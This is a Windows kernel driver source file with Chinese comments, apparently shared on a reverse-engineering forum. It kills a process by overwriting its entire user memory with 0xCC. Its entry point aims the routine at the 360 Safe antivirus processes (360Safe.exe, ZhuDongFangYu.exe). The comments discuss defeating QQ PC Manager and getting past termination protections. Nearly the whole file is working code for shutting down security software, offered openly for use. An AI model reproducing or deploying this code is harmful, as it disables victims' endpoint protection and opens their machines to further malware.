#include "ntddk.h"
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS *Process;
BOOLEAN KernelApcInProgress;
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
VOID KeStackAttachProcess(__inout PRKPROCESS Process,__out PRKAPC_STATE ApcState);
VOID KeUnstackDetachProcess(__in PRKAPC_STATE ApcState);
NTSTATUS PsLookupProcessByProcessId(__in HANDLE ProcessId,__out PEPROCESS *Process);
NTSTATUS KillProcessByPID(HANDLE hProcess)
{//通过进程ID号,来结束进程
PEPROCESS m_process;
NTSTATUS status = STATUS_SUCCESS;
KAPC_STATE m_kapc_state;
ULONG m_index=0;
PVOID m_base_address=NULL;
//分配一块只读类型的,大小为0x1000的内存块出来//返回值为分配内存的指针
m_base_address=ExAllocatePoolWithTag(NonPagedPool,0x1000,'Read');
if(m_base_address==NULL) return STATUS_UNSUCCESSFUL;//如果分配内存失败
memset(m_base_address,0xcc,0x1000); //初始化相关内存,未初始化的变量会被系统赋初值为0xCC
status=PsLookupProcessByProcessId(hProcess,&m_process); //得到指定进程ID的进程环境块
if(!NT_SUCCESS(status)) return status;//返回失败
KeStackAttachProcess (m_process,&m_kapc_state); //附加当前线程到目标进程空间内
for(m_index=0;m_index<0x80000000;m_index+=0x1000)//循环遍历
{
if(MmIsAddressValid((PVOID)(m_index)))//如果指定内存大小空间能读能写的话
{
__try
{ //复制m_base_address内存空间内容到m_index大小的空间
RtlCopyMemory((PVOID)(m_index),m_base_address,0x1000);
}
__except(1)
{continue;}
}
else
{
if(m_index>0x1000000) break;
}
}
KeUnstackDetachProcess(&m_kapc_state);//解除附加
return status;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
KillProcessByPID(XXX); //填写360Safe.exe的PID。
KillProcessByPID(XXX); //填写ZhuDongFangYu.exe的PID。
//注释:结束360Safe.exe而不结束ZhuDongFangYu.exe,360Safe.exe会死灰复燃。
//ZhuDongFangYu.exe和360Safe.exe都可以用插APC的方法结束(360Safe.exe有点问题)。
//有一种办法,不hook,可以被插APC的办法也杀不掉,就是把线程的链表全部填写为自身的地址。
//QQ 电脑管家的用插APC的办法没有成功,可能用结束线程的函数不够底层。
//要结束QQ管家需要填写4个进程。
//去年年初,不用驱动就能干掉QQ管家,告诉QQ的相关人士,这个办法失灵了。
//今天公布这个办法,是为了推动祖国的安全事业的前进。
//这个办法大多数人都知道,但没有见代码,所以分享。
return 0;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)